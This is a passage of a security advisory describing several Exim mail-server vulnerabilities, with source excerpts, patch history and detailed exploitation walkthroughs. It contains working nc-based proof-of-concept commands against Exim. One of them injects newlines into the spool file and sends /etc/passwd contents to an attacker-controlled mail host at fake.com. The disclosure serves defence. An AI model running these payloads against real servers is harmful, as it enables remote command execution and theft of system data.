Program received signal SIGSEGV, Segmentation fault.



========================================================================
CVE-2020-28020: Integer overflow in receive_msg()
========================================================================

During our work on Exim, we stumbled across the following commit:

------------------------------------------------------------------------
commit 56ac062a3ff94fc4e1bbfc2293119c079a4e980b
Date:   Thu Jan 10 21:15:11 2019 +0000
...
+JH/41 Fix the loop reading a message header line to check for integer overflow,
+      and more-often against header_maxsize.  Previously a crafted message could
+      induce a crash of the recive process; now the message is cleanly rejected.
...
+    if (header_size >= INT_MAX/2)
+      goto OVERSIZE;
     header_size *= 2;
------------------------------------------------------------------------

This vulnerability is exploitable in all Exim versions before 4.92 and
allows an unauthenticated remote attacker to execute arbitrary commands
as the "exim" user. Because this commit was not identified as a security
patch, it was not backported to LTS (Long Term Support) distributions.
For example, Debian oldstable's package (exim4_4.89-2+deb9u7) contains
all known security patches, but is vulnerable to CVE-2020-28020 and
hence remotely exploitable.

By default, Exim limits the size of a mail header to 1MB
(header_maxsize). Unfortunately, an attacker can bypass this limit by
sending only continuation lines (i.e., '\n' followed by ' ' or '\t'),
thereby overflowing the integer header_size at line 1782:

------------------------------------------------------------------------
1778   if (ptr >= header_size - 4)
1779     {
1780     int oldsize = header_size;
1781     /* header_size += 256; */
1782     header_size *= 2;
1783     if (!store_extend(next->text, oldsize, header_size))
1784       {
1785       BOOL release_ok = store_last_get[store_pool] == next->text;
1786       uschar *newtext = store_get(header_size);
1787       memcpy(newtext, next->text, ptr);
1788       if (release_ok) store_release(next->text);
1789       next->text = newtext;
1790       }
1791     }
------------------------------------------------------------------------

Ironically, this vulnerability was the most difficult to exploit:

- when the integer header_size overflows, it becomes negative (INT_MIN),
  but we cannot exploit the resulting back-jump at line 1786 (Digression
  1b), because the free size of the current memory block also becomes
  negative (because 0 - INT_MIN = INT_MIN, the "Leblancian Paradox"),
  which prevents us from writing to this back-jumped memory block;

- to overflow the integer header_size, we must send 1GB to Exim:
  consequently, our exploit must succeed after only a few tries (in
  particular, we cannot brute-force ASLR).

Note: we can actually overflow header_size with 1GB / 2 = 512MB; if we
send a first line that ends with "\r\n", then Exim transforms every bare
'\n' that we send into "\n " (a continuation line):

------------------------------------------------------------------------
1814   if (ch == '\n')
1815     {
1816     if (first_line_ended_crlf == TRUE_UNSET) first_line_ended_crlf = FALSE;
1817       else if (first_line_ended_crlf) receive_ungetc(' ');
------------------------------------------------------------------------

------------------------------------------------------------------------
Proof of concept
------------------------------------------------------------------------

(
sleep 10;
echo 'EHLO test';
sleep 3;
echo 'MAIL FROM:<>';
sleep 3;
echo 'RCPT TO:postmaster';
sleep 3;
echo 'DATA';
sleep 3;
printf 'first_line_ended_crlf:TRUE\r\n \n\n\r\nPDKIM_ERR_LONG_LINE:';
perl -e 'print "a" x 16384';
printf '\r\nvery_long_header:';
for ((i=0; i<64; i++)); do
echo "`date` $i" >&2;
perl -e 'print "\n" x 16777216';
done
) | nc -n -v 192.168.56.103 25

Program received signal SIGSEGV, Segmentation fault.

------------------------------------------------------------------------
Exploitation
------------------------------------------------------------------------

To exploit this vulnerability (on Debian oldstable, for example):

1/ We send three separate mails (in the same SMTP session) to achieve
the following memory layout:

                              mmap memory
-----|-------------------|-------------------|-------------------|-----
 ... |n|l|    mblock3    |n|l|    mblock2    |n|l|    mblock1    | ...
-----|-------------------|-------------------|+------------------|-----
                                              |
                              heap memory     |
                    -------------------------|v-------------|-----
                     ... |N|L|N|L|N|L|N|L|N|L|n|l|  hblock  | ...
                    -------------------------|--------------|-----
                         <- fake storeblock ->

where n and l are the next and length members of a storeblock structure
(a linked list of allocated memory blocks):

------------------------------------------------------------------------
 71 typedef struct storeblock {
 72   struct storeblock *next;
 73   size_t length;
 74 } storeblock;
------------------------------------------------------------------------

- we first allocate a 1GB mmap block (mblock1) by sending a mail that
  contains a 256MB header of bare '\n' characters; the next member of
  mblock1's storeblock structure initially points to a heap block
  (hblock, which immediately follows data that we control);

- we allocate a second 1GB mmap block (mblock2) by sending a mail that
  also contains a 256MB header of bare '\n' characters;

- we allocate a third 1GB mmap block (mblock3) by sending a mail that
  contains a 512MB header; this overflows the integer header_size, and
  forward-overflows mblock3 (Digression 1a), into mblock2 and mblock1:
  we overwrite mblock2's next pointer with NULL (to avoid a crash in
  store_release() at line 1788) and we partially overwrite mblock1's
  next pointer (with a single null byte).

2/ After this overflow, store_reset() traverses the linked list of
allocated memory blocks and follows mblock1's overwritten next pointer,
to our own "fake storeblock" structure: a NULL next pointer N (to avoid
a crash in store_reset()), and a large length L that covers the entire
address space (for example, 0x7050505070505050). As a result, Exim's
allocator believes that the entire heap is one large, free block of
POOL_MAIN memory (Exim's main type of memory allocations).

This powerful exploit primitive gives us write access to the entire
heap, through POOL_MAIN allocations. But the heap also contains other
types of allocations: we exploit this primitive to overwrite POOL_MAIN
allocations with raw malloc()s (for information disclosure) and to
overwrite POOL_PERM allocations with POOL_MAIN allocations (for
arbitrary code execution).

3/ Information disclosure:

- First, we send an EHLO command that allocates a large string in raw
  malloc() memory.

- Second, we send an invalid RCPT TO command that allocates a small
  string in POOL_MAIN memory (an error message); this small POOL_MAIN
  string overwrites the beginning of the large malloc() string.

- Next, we send an invalid EHLO command that free()s the large malloc()
  string; this free() overwrites the beginning of the small POOL_MAIN
  string with a pointer to the libc (a member of libc's malloc_chunk
  structure).

- Last, we send an invalid DATA command that responds with an error
  message: the small, overwritten POOL_MAIN string, and hence the libc
  pointer. This information leak is essentially the technique that we
  used for CVE-2015-0235 (GHOST).

4/ Arbitrary code execution:

- First, we start a new mail (MAIL FROM, RCPT TO, and DATA commands);
  this calls dkim_exim_verify_init() and allocates a pdkim_ctx structure
  in POOL_PERM memory (DKIM is enabled by default since Exim 4.70):

------------------------------------------------------------------------
249 typedef struct pdkim_ctx {
...
263   int(*dns_txt_callback)(char *, char *);
...
274 } pdkim_ctx;
------------------------------------------------------------------------

- Second, we send a mail header that is allocated to POOL_MAIN memory,
  and overwrite the pdkim_ctx structure: we overwrite dns_txt_callback
  with a pointer to libc's system() function (we derive this pointer
  from the information-leaked libc pointer).

- Next, we send a "DKIM-Signature:" header (we particularly care about
  its "selector" field).

- Last, we end our mail; this calls dkim_exim_verify_finish(), which
  calls the overwritten dns_txt_callback with a first argument that we
  control (through the selector field of our "DKIM-Signature:" header):

------------------------------------------------------------------------
1328 dns_txt_name = string_sprintf("%s._domainkey.%s.", sig->selector, sig->domain);
....
1333 if (  ctx->dns_txt_callback(CS dns_txt_name, CS dns_txt_reply) != PDKIM_OK
------------------------------------------------------------------------

  In other words, we execute system() with an arbitrary command.



========================================================================
CVE-2020-28023: Out-of-bounds read in smtp_setup_msg()
========================================================================

In smtp_setup_msg(), which reads the SMTP commands sent by a client to
the Exim server:

------------------------------------------------------------------------
1455 int     smtp_ch_index          = 0;
....
1459 uschar  smtp_connection_had[SMTP_HBUFF_SIZE];
------------------------------------------------------------------------
 126 #define HAD(n) \
 127     smtp_connection_had[smtp_ch_index++] = n; \
 128     if (smtp_ch_index >= SMTP_HBUFF_SIZE) smtp_ch_index = 0
....
5283     case DATA_CMD:
5284       HAD(SCH_DATA);
....
5305           smtp_printf("503 Valid RCPT command must precede %s\r\n", FALSE,
5306             smtp_names[smtp_connection_had[smtp_ch_index-1]]);
------------------------------------------------------------------------

- line 5284 (line 128 in HAD()) can reset smtp_ch_index to 0 (an index
  into the circular buffer smtp_connection_had[]);

- line 5306 therefore reads smtp_connection_had[-1] out-of-bounds (an
  unsigned char index into the array smtp_names[]);

- depending on the value of this unsigned char index, line 5306 may also
  read smtp_names[smtp_connection_had[-1]] out-of-bounds (a pointer to a
  string);

- and line 5305 sends this string to the SMTP client and may therefore
  disclose sensitive information to an unauthenticated remote attacker.

On Debian, this out-of-bounds read is not exploitable, because
smtp_connection_had[-1] is always 0 and line 5305 sends smtp_names[0]
("NONE") to the client. However, the memory layout of the Exim binary
may be more favorable to attackers on other operating systems.

------------------------------------------------------------------------
Proof of concept
------------------------------------------------------------------------

(
sleep 10;
echo 'EHLO test';
sleep 3;
echo 'MAIL FROM:<>';
sleep 3;
for ((i=0; i<20-3; i++)); do
echo 'RCPT TO:nonexistent';
done;
sleep 3;
echo 'DATA';
sleep 3
) | nc -n -v 192.168.56.101 25
...
503-All RCPT commands were rejected with this error:
503-501 nonexistent: recipient address must contain a domain
503 Valid RCPT command must precede NONE

------------------------------------------------------------------------
History
------------------------------------------------------------------------

This vulnerability was introduced in Exim 4.88:

------------------------------------------------------------------------
commit 18481de384caecff421f23f715be916403f5d0ee
Date:   Mon Jul 11 23:36:45 2016 +0100
...
-        smtp_printf("503 Valid RCPT command must precede DATA\r\n");
+        smtp_printf("503 Valid RCPT command must precede %s\r\n",
+         smtp_names[smtp_connection_had[smtp_ch_index-1]]);
------------------------------------------------------------------------

and was independently discovered by Exim's developers in July 2020:

------------------------------------------------------------------------
commit afaf5a50b05810d75c1f7ae9d1cd83697815a997
Date:   Thu Jul 23 16:32:29 2020 +0100
...
+#define SMTP_HBUFF_PREV(n)     ((n) ? (n)-1 : SMTP_HBUFF_SIZE-1)
...
          smtp_printf("503 Valid RCPT command must precede %s\r\n", FALSE,
-           smtp_names[smtp_connection_had[smtp_ch_index-1]]);
+           smtp_names[smtp_connection_had[SMTP_HBUFF_PREV(smtp_ch_index)]]);
------------------------------------------------------------------------



========================================================================
CVE-2020-28021: New-line injection into spool header file (remote)
========================================================================

An authenticated SMTP client can add an AUTH= parameter to its MAIL FROM
command. This AUTH= parameter is decoded by auth_xtextdecode():

------------------------------------------------------------------------
4697           case ENV_MAIL_OPT_AUTH:
....
4703               if (auth_xtextdecode(value, &authenticated_sender) < 0)
------------------------------------------------------------------------

and the resulting authenticated_sender is written to the spool header
file without encoding or escaping:

------------------------------------------------------------------------
212 if (authenticated_sender)
213   fprintf(fp, "-auth_sender %s\n", authenticated_sender);
------------------------------------------------------------------------

Unfortunately, authenticated_sender can contain arbitrary characters,
because auth_xtextdecode() translates hexadecimal +XY sequences into
equivalent characters (for example, +0A into '\n'): an authenticated
remote attacker can inject new lines into the spool header file and
execute arbitrary commands, as root.

This vulnerability is particularly problematic for Internet service
providers and mail providers that deploy Exim and offer mail accounts
but not shell accounts. It is also problematic when combined with an
authentication bypass such as CVE-2020-12783, discovered by Orange Tsai
in May 2020 (https://bugs.exim.org/show_bug.cgi?id=2571).

------------------------------------------------------------------------
Proof of concept
------------------------------------------------------------------------

nc -n -v 192.168.56.101 25
...
EHLO test
...
250-AUTH PLAIN
...
AUTH PLAIN AHVzZXJuYW1lAG15c2VjcmV0
235 Authentication succeeded
MAIL FROM:<> AUTH=Raven+0AReyes
250 OK
RCPT TO:postmaster
250 Accepted
DATA
354 Enter message, ending with "." on a line by itself
.
250 OK id=1kb6VC-0003BW-Rg

2020-11-06 13:30:42 1kb6VC-0003BW-Rg Format error in spool file 1kb6VC-0003BW-Rg-H: size=530

------------------------------------------------------------------------
Exploitation
------------------------------------------------------------------------

Our exploit for CVE-2020-28021 is essentially the same as our exploit
for CVE-2020-28015. The main difference is that Exim's ACLs limit the
length of our header lines to 998 characters. However, this limit can be
easily bypassed, by splitting long header lines into 990-character lines
separated by "\n " (i.e., continuation lines).

We can also transform CVE-2020-28021 into an information disclosure:

- First, we inject an arbitrary recipient line into the spool header
  file: an arbitrary recipient address (for example, attacker@fake.com)
  and an errors_to string that is read out-of-bounds (the same technique
  as for CVE-2020-28015).

- Next, we wait for Exim to connect to our own mail server, fake.com's
  MX (we use https://github.com/iphelix/dnschef to set up a quick and
  easy DNS server).

- Last, we retrieve the out-of-bounds errors_to string from Exim's MAIL
  FROM command (which, in this example, contains a fragment of
  /etc/passwd):

------------------------------------------------------------------------
(
sleep 10;
echo 'EHLO test';
sleep 3;
echo 'AUTH PLAIN AHVzZXJuYW1lAG15c2VjcmV0';
sleep 3;
echo 'MAIL FROM:<> AUTH=x+0AXX+0A1+0Aattacker@fake.com+208192,-1#1+0A+0A990*';
sleep 3;
echo 'RCPT TO:postmaster';
sleep 3;
echo 'DATA';
sleep 3;
printf 'Message-Id: X\n';
printf 'From: X@localhost\n';
printf 'Date: X\n';
printf 'X:%0990d2* X\n' 0;
echo '.';
sleep 10
) | nc -n -v 192.168.56.101 25

nc -n -v -l 25
...
Ncat: Connection from 192.168.56.101.
...
MAIL FROM:<s:x:3:
adm:x:4:
tty:x:5:
...
Debian-exim:x:114:
jane:x:1001:
...
Debian-exim:x:107:114::/var/spool/exim4:/usr/sbin/nologin
jane:x:1001:1001:,,,:/home/jane:/bin/bash
>
...
RCPT TO:<attacker@fake.com>
...
------------------------------------------------------------------------



========================================================================
CVE-2020-28022: Heap out-of-bounds read and write in extract_option()
========================================================================

The name=value parameters such as AUTH= are extracted from MAIL FROM and
RCPT TO commands by extract_option():

------------------------------------------------------------------------
1994 static BOOL
1995 extract_option(uschar **name, uschar **value)
1996 {
1997 uschar *n;
1998 uschar *v = smtp_cmd_data + Ustrlen(smtp_cmd_data) - 1;
....
2001 while (v > smtp_cmd_data && *v != '=' && !isspace(*v))
2002   {
....
2005   if (*v == '"') do v--; while (*v != '"' && v > smtp_cmd_data+1);
2006   v--;
2007   }
2008 
2009 n = v;
------------------------------------------------------------------------

Unfortunately, this function can decrease v (value) and hence n (name)
out of smtp_cmd_data's bounds (into the preceding smtp_cmd_buffer):

- at line 2001, v can point to smtp_cmd_data + 1;

- at line 2005, v-- decrements v to smtp_cmd_data;

- at line 2006, v-- decrements v to smtp_cmd_data - 1.

Subsequently, the code in extract_option() and smtp_setup_msg() reads
from and writes to v and n out of smtp_cmd_data's bounds.

If exploitable, this vulnerability would allow an unauthenticated remote
attacker to execute arbitrary commands as the "exim" user. So far we
were unable to exploit this vulnerability: although we are able to
decrease v and n out of smtp_cmd_data's bounds, we were unable to
decrease v or n out of the preceding smtp_cmd_buffer's bounds.
Surprisingly, however, we do use this vulnerability in our
proof-of-concept for CVE-2020-28026.

------------------------------------------------------------------------
History
------------------------------------------------------------------------

This vulnerability was introduced in Exim 4.89:

------------------------------------------------------------------------
commit d7a2c8337f7b615763d4429ab27653862756b6fb
Date:   Tue Jan 24 18:17:10 2017 +0000
...
-while (v > smtp_cmd_data && *v != '=' && !isspace(*v)) v--;
+while (v > smtp_cmd_data && *v != '=' && !isspace(*v))
+  {
+  /* Take care to not stop at a space embedded in a quoted local-part */
+
+  if (*v == '"') do v--; while (*v != '"' && v > smtp_cmd_data+1);
+  v--;
+  }
------------------------------------------------------------------------



========================================================================
CVE-2020-28026: Line truncation and injection in spool_read_header()
========================================================================

spool_read_header() calls fgets() to read the lines from a spool header
file into the 16KB big_buffer. The first section of spool_read_header()
enlarges big_buffer dynamically if fgets() truncates a line (if a line
is longer than 16KB):

------------------------------------------------------------------------
 460   if (Ufgets(big_buffer, big_buffer_size, fp) == NULL) goto SPOOL_READ_ERROR;
 ...
 462   while (  (len = Ustrlen(big_buffer)) == big_buffer_size-1
 463         && big_buffer[len-1] != '\n'
 ...
 468     buf = store_get_perm(big_buffer_size *= 2, FALSE);
------------------------------------------------------------------------

Unfortunately, the second section of spool_read_header() does not
enlarge big_buffer:

------------------------------------------------------------------------
 756 for (recipients_count = 0; recipients_count < rcount; recipients_count++)
 ...
 765   if (Ufgets(big_buffer, big_buffer_size, fp) == NULL) goto SPOOL_READ_ERROR;
------------------------------------------------------------------------

If DSN (Delivery Status Notification) is enabled (it is disabled by
default), an attacker can send a RCPT TO command with a long ORCPT=
parameter that is written to the spool header file by
spool_write_header():

------------------------------------------------------------------------
292 for (int i = 0; i < recipients_count; i++)
293   {
294   recipient_item *r = recipients_list + i;
...
302     uschar * errors_to = r->errors_to ? r->errors_to : US"";
...
305     uschar * orcpt = r->orcpt ? r->orcpt : US"";
306 
307     fprintf(fp, "%s %s %d,%d %s %d,%d#3\n", r->address, orcpt, Ustrlen(orcpt),
308       r->dsn_flags, errors_to, Ustrlen(errors_to), r->pno);
------------------------------------------------------------------------

This long ORCPT= parameter truncates the recipient line (when read by
fgets() in spool_read_header()) and injects the remainder of the line as
a separate line, thereby emulating the '\n' injection of CVE-2020-28015
and CVE-2020-28021 (albeit in a weaker form).

We have not tried to exploit this vulnerability; if exploitable, it
would allow an unauthenticated remote attacker to execute arbitrary
commands as root (if DSN is enabled).

------------------------------------------------------------------------
Proof of concept
------------------------------------------------------------------------

- Intuitively, it seems impossible to generate a recipient line longer
  than 16KB (big_buffer_size), because the Exim server reads our RCPT TO
  command into a 16KB buffer (smtp_cmd_buffer) that must also contain
  (besides our long ORCPT= parameter) "RCPT TO:", "NOTIFY=DELAY", and
  the recipient address.

- We can, however, use the special recipient "postmaster", which is
  automatically qualified (by appending Exim's primary hostname) before
  it is written to the spool header file. This allows us to enlarge the
  recipient line, but is not sufficient to control the end of the
  truncated line (unless Exim's primary hostname is longer than 24
  bytes, which is very unlikely).

- But we can do better: we can use CVE-2020-28022 to read our ORCPT=
  parameter out of smtp_cmd_data's bounds (from the end of the preceding
  smtp_cmd_buffer). This allows us to further enlarge the recipient line
  (by 10 bytes, because "postmaster" is now included in our ORCPT=), but
  is not sufficient to reliably control the end of the truncated line
  (unless Exim's primary hostname is longer than 14 bytes, which is
  still very unlikely).

- But we can do much better: we do not need postmaster's automatic
  qualification anymore, because the recipient is now included in our
  ORCPT= parameter -- the longer the recipient, the better. On Debian,
  the user "systemd-timesync" exists by default, and "localhost" is one
  of Exim's local_domains: the recipient "systemd-timesync@localhost" is
  long enough to reliably control the end of the truncated recipient
  line, and allows us to read and write out of big_buffer's bounds
  (lines 859 and 863, and beyond):

------------------------------------------------------------------------
 840   else if (*p == '#')
 ...
 848     (void)sscanf(CS p+1, "%d", &flags);
 849 
 850     if ((flags & 0x01) != 0)      /* one_time data exists */
 851       {
 852       int len;
 853       while (isdigit(*(--p)) || *p == ',' || *p == '-');
 854       (void)sscanf(CS p+1, "%d,%d", &len, &pno);
 855       *p = 0;
 856       if (len > 0)
 857         {
 858         p -= len;
 859         errors_to = string_copy_taint(p, TRUE);
 860         }
 861       }
 862 
 863     *(--p) = 0;   /* Terminate address */
------------------------------------------------------------------------

For example, the following proof-of-concept accesses memory at 1MB below
big_buffer:

------------------------------------------------------------------------
(
sleep 10;
echo 'EHLO test';
sleep 3;
echo 'MAIL FROM:<>';
sleep 3;
perl -e 'print "NOOP"; print " " x (16384-9); print "ORCPT\n"';
sleep 3;
echo 'RCPT TO:x"';
sleep 3;
perl -e 'print "RCPT TO:(\")systemd-timesync\@localhost("; print "A" x (16384-74); print "xxx1048576,-1#1x NOTIFY=DELAY\n"';
sleep 3;
echo 'DATA';
sleep 3;
echo '.';
sleep 10
) | nc -n -v 192.168.56.101 25

Program received signal SIGSEGV, Segmentation fault.
------------------------------------------------------------------------



========================================================================
CVE-2020-28019: Failure to reset function pointer after BDAT error
========================================================================

To read SMTP commands and data from a client, Exim calls the function
pointer receive_getc, which points to either smtp_getc() (a cleartext
connection) or tls_getc() (an encrypted connection). If the client uses
the BDAT command (instead of DATA) to send a mail, then Exim saves the
current value of receive_getc to the function pointer lwr_receive_getc
and sets receive_getc to the wrapper function bdat_getc():

------------------------------------------------------------------------
5242     case BDAT_CMD:
....
5271       lwr_receive_getc = receive_getc;
....
5275       receive_getc = bdat_getc;
------------------------------------------------------------------------

Exim normally resets receive_getc to its original value
(lwr_receive_getc) when the client ends its mail. Unfortunately, Exim
fails to reset receive_getc in some cases; for example, if the mail is
larger than message_size_limit (50MB by default). Consequently, Exim
re-enters smtp_setup_msg() while receive_getc still points to
bdat_getc(), and:

- smtp_read_command() calls receive_getc and hence bdat_getc(), which
  also calls smtp_read_command(), which is not a re-entrant function and
  may have unintended consequences;

- if the client issues another BDAT command, then receive_getc and
  lwr_receive_getc both point to bdat_getc(), which calls itself
  recursively and leads to stack exhaustion; for example:

------------------------------------------------------------------------
(
sleep 10;
echo 'EHLO test';
sleep 3;
echo 'MAIL FROM:<>';
sleep 3;
echo 'RCPT TO:postmaster';
sleep 3;
echo "BDAT $((52428800+100))";
perl -e 'print "A" x (52428800+1)';
sleep 3;
echo 'MAIL FROM:<>';
sleep 3;
echo 'RCPT TO:postmaster';
sleep 3;
echo 'BDAT 8388608'
) | nc -n -v 192.168.56.101 25

Program received signal SIGSEGV, Segmentation fault.
------------------------------------------------------------------------

This vulnerability is very similar to CVE-2017-16944, discovered by Meh
Chang in November 2017 (https://bugs.exim.org/show_bug.cgi?id=2201).

------------------------------------------------------------------------
History
------------------------------------------------------------------------

This vulnerability was introduced in Exim 4.88:

------------------------------------------------------------------------
commit 7e3ce68e68ab9b8906a637d352993abf361554e2
Date:   Wed Jul 13 21:28:18 2016 +0100
...
+      lwr_receive_getc = receive_getc;
+      lwr_receive_ungetc = receive_ungetc;
+      receive_getc = bdat_getc;
+      receive_ungetc = bdat_ungetc;
------------------------------------------------------------------------



========================================================================
CVE-2020-28024: Heap buffer underflow in smtp_ungetc()
========================================================================

Exim calls smtp_refill() to read input characters from an SMTP client
into the 8KB smtp_inbuffer, and calls smtp_getc() to read individual
characters from smtp_inbuffer:

------------------------------------------------------------------------
 501 static BOOL
 502 smtp_refill(unsigned lim)
 503 {
 ...
 512 rc = read(fileno(smtp_in), smtp_inbuffer, MIN(IN_BUFFER_SIZE-1, lim));
 ...
 515 if (rc <= 0)
 516   {
 ...
 536   return FALSE;
 537   }
 ...
 541 smtp_inend = smtp_inbuffer + rc;
 542 smtp_inptr = smtp_inbuffer;
 543 return TRUE;
 544 }
------------------------------------------------------------------------
 559 int
 560 smtp_getc(unsigned lim)
 561 {
 562 if (smtp_inptr >= smtp_inend)
 563   if (!smtp_refill(lim))
 564     return EOF;
 565 return *smtp_inptr++;
 566 }
------------------------------------------------------------------------

Exim implements an smtp_ungetc() function to push characters back into
smtp_inbuffer (characters that were read from smtp_inbuffer by
smtp_getc()):

------------------------------------------------------------------------
 795 int
 796 smtp_ungetc(int ch)
 797 {
 798 *--smtp_inptr = ch;
 799 return ch;
 800 }
------------------------------------------------------------------------

Unfortunately, Exim also calls smtp_ungetc() to push back "characters"
that were not actually read from smtp_inbuffer: EOF (-1), and if BDAT is
used, EOD and ERR (-2 and -3). For example, in receive_msg():

------------------------------------------------------------------------
1945   if (ch == '\r')
1946     {
1947     ch = (receive_getc)(GETC_BUFFER_UNLIMITED);
1948     if (ch == '\n')
1949       {
....
1952       }
....
1957     ch = (receive_ungetc)(ch);
------------------------------------------------------------------------

- at line 1947, receive_getc (smtp_getc()) can return EOF;

- at line 1957, this EOF is passed to receive_ungetc (smtp_ungetc());

- at line 798 (in smtp_ungetc()), if smtp_inptr is exactly equal to
  smtp_inbuffer, then it is decremented to smtp_inbuffer - 1, and EOF is
  written out of smtp_inbuffer's bounds.

To return EOF in receive_msg() while smtp_inptr is equal to
smtp_inbuffer, we must initiate a TLS-encrypted connection:

- either through TLS-on-connect (usually on port 465), which does not
  use smtp_inptr nor smtp_inbuffer;

- or through STARTTLS, which resets smtp_inptr to smtp_inbuffer in the
  following code (if X_PIPE_CONNECT is enabled, the default since Exim
  4.94):

------------------------------------------------------------------------
5484       if (receive_smtp_buffered())
5485         {
5486         DEBUG(D_any)
5487           debug_printf("Non-empty input buffer after STARTTLS; naive attack?\n");
5488         if (tls_in.active.sock < 0)
5489           smtp_inend = smtp_inptr = smtp_inbuffer;
------------------------------------------------------------------------

In both cases:

- first, we initiate a TLS-encrypted connection, which sets receive_getc
  and receive_ungetc to tls_getc() and tls_ungetc() (while smtp_inptr is
  equal to smtp_inbuffer);

- second, we start a mail (MAIL FROM, RCPT TO, and DATA commands) and
  enter receive_msg();

- third, we send a bare '\r' character and reach line 1945;

- next, we terminate the TLS connection, which resets receive_getc and
  receive_ungetc to smtp_getc() and smtp_ungetc() (while smtp_inptr is
  still equal to smtp_inbuffer);

- last, we close the underlying TCP connection, which returns EOF at
  line 1947 and writes EOF out of smtp_inbuffer's bounds at line 1957
  (line 798 in smtp_ungetc()).

We have not tried to exploit this vulnerability; if exploitable, it
would allow an unauthenticated remote attacker to execute arbitrary
commands as the "exim" user (if TLS and either TLS-on-connect or
X_PIPE_CONNECT are enabled).



========================================================================
CVE-2020-28018: Use-after-free in tls-openssl.c
========================================================================

If Exim is built with OpenSSL, and if STARTTLS is enabled, and if
PIPELINING is enabled (the default), and if X_PIPE_CONNECT is disabled
(the default before Exim 4.94), then tls_write() in tls-openssl.c is
vulnerable to a use-after-free.

If PIPELINING is used, Exim buffers the SMTP responses to MAIL FROM and
RCPT TO commands (in tls-openssl.c):

------------------------------------------------------------------------
2909 int
2910 tls_write(void * ct_ctx, const uschar *buff, size_t len, BOOL more)
2911 {
....
2915 static gstring * server_corked = NULL;
2916 gstring ** corkedp = ct_ctx
2917   ? &((exim_openssl_client_tls_ctx *)ct_ctx)->corked : &server_corked;
2918 gstring * corked = *corkedp;
....
2933 if (!ct_ctx && (more || corked))
2934   {
....
2940   corked = string_catn(corked, buff, len);
....
2946   if (more)
2947     {
2948     *corkedp = corked;
2949     return len;
2950     }
------------------------------------------------------------------------

- at line 2910, ct_ctx is NULL, buff contains the SMTP response, and
  more is true;

- at line 2940, a struct gstring (a "growable string", mentioned in
  CVE-2020-28009) and its string buffer are allocated in POOL_MAIN
  memory:

------------------------------------------------------------------------
 29 typedef struct gstring {
 30   int   size;           /* Current capacity of string memory */
 31   int   ptr;            /* Offset at which to append further chars */
 32   uschar * s;           /* The string memory */
 33 } gstring;
------------------------------------------------------------------------

- at line 2948, a pointer to the struct gstring is saved to a local
  static variable, server_corked.

Unfortunately, if smtp_reset() is called (in smtp_setup_msg()), then
store_reset() is called and frees all allocated POOL_MAIN memory, but
server_corked is not reset to NULL: if tls_write() is called again, the
struct gstring and its string buffer are used-after-free.

Side note: another use-after-free, CVE-2017-16943, was discovered by Meh
Chang in November 2017 (https://bugs.exim.org/show_bug.cgi?id=2199).

------------------------------------------------------------------------
Exploitation
------------------------------------------------------------------------

To reliably control this vulnerability, we must prevent Exim from
calling tls_write() between our call to smtp_reset() and the actual
use-after-free:

- first, we send EHLO and STARTTLS (to initiate a TLS connection);

- second, we send EHLO and "MAIL FROM:<>\nNO" (to pipeline the first
  half of a NOOP command, and to buffer the response to our MAIL FROM
  command in tls_write());

- third, we terminate the TLS connection (and fall back to cleartext)
  and send "OP\n" (the second half of our pipelined NOOP command);

- next, we send EHLO (to force a call to smtp_reset()) and STARTTLS (to
  re-initiate a TLS connection);

- last, server_corked is used-after-free (in tls_write()) in response to
  any SMTP command that we send.

This use-after-free of a struct gstring (server_corked) and its string
buffer (server_corked->s) is the most powerful vulnerability in this
advisory:

1/ We overwrite the string buffer (which is sent to us by tls_write())
and transform this use-after-free into an information leak (we leak
pointers to the heap).

2/ We overwrite the struct gstring (with an arbitrary string pointer and
size) and transform the use-after-free into a read-what-where primitive:
we read the heap until we locate Exim's configuration.

3/ We overwrite the struct gstring (with an arbitrary string pointer)
and transform the use-after-free into a write-what-where primitive: we
overwrite Exim's configuration with an arbitrary "${run{command}}" that
is executed by expand_string() as the "exim" user (Digression 2).

We use a few noteworthy tricks in our exploit:

1/ Information leak: To overwrite the string buffer without overwriting
the struct gstring itself, we send several pipelined RCPT TO commands to
re-allocate the string buffer (far away from the struct gstring), and
overwrite it with header_line structures that contain pointers to the
heap.

2/ Read-what-where: We overwrite the struct gstring with arbitrary
binary data through the name=value parameter of a MAIL FROM command:

- we overwrite the s member with a pointer to the memory that we want to
  read (a pointer to the heap);

- we overwrite the ptr member with the number of bytes that we want to
  read;

- we overwrite the size member with the same number as ptr to prevent
  string_catn() from writing to the memory that we want to read (at line
  2940 in tls_write()).

3/ Write-what-where: We overwrite the struct gstring with arbitrary
binary data through the name=value parameter of a MAIL FROM command:

- we overwrite the s member with a pointer to the memory that we want to
  overwrite (a pointer to Exim's configuration);

- we overwrite the ptr member with 0 and the size member with a large
  arbitrary number;

- finally, we send a MAIL FROM command whose response overwrites Exim's
  configuration with our arbitrary "${run{...}}" (which is eventually
  executed by expand_string()).

Note: Debian's Exim packages are built with GnuTLS, not OpenSSL; to
rebuild them with OpenSSL, we followed the detailed instructions at
https://gist.github.com/ryancdotorg/11025731.

------------------------------------------------------------------------
History
------------------------------------------------------------------------

This vulnerability was introduced in Exim 4.90:

------------------------------------------------------------------------
commit a5ffa9b475a426bc73366db01f7cc92a3811bc3a
Date:   Fri May 19 22:55:25 2017 +0100
...
+static uschar * corked = NULL;
+static int c_size = 0, c_len = 0;
...
+if (is_server && (more || corked))
+  {
+  corked = string_catn(corked, &c_size, &c_len, buff, len);
+  if (more)
+    return len;
------------------------------------------------------------------------



========================================================================
CVE-2020-28025: Heap out-of-bounds read in pdkim_finish_bodyhash()
========================================================================

By default since Exim 4.70, receive_msg() calls
dkim_exim_verify_finish() to verify DKIM (DomainKeys Identified Mail)
signatures, which calls pdkim_feed_finish(), which calls
pdkim_finish_bodyhash():

------------------------------------------------------------------------
 788 static void
 789 pdkim_finish_bodyhash(pdkim_ctx * ctx)
 790 {
 ...
 799 for (pdkim_signature * sig = ctx->sig; sig; sig = sig->next)
 800   {
 ...
 825     if (  sig->bodyhash.data
 826        && memcmp(b->bh.data, sig->bodyhash.data, b->bh.len) == 0)
 827       {
 ...
 829       }
 830     else
 831       {
 ...
 838       sig->verify_status     = PDKIM_VERIFY_FAIL;
 839       sig->verify_ext_status = PDKIM_VERIFY_FAIL_BODY;
 840       }
 841   }
 842 }
------------------------------------------------------------------------

Unfortunately, at line 826, sig->bodyhash.data is attacker-controlled
(through a "DKIM-Signature:" mail header) and memcmp() is called without
checking first that sig->bodyhash.len is equal to b->bh.len: memcmp()
can read sig->bodyhash.data out-of-bounds.

If the acl_smtp_dkim is set (it is unset by default), an unauthenticated
remote attacker may transform this vulnerability into an information
disclosure; we have not fully explored this possibility.

------------------------------------------------------------------------
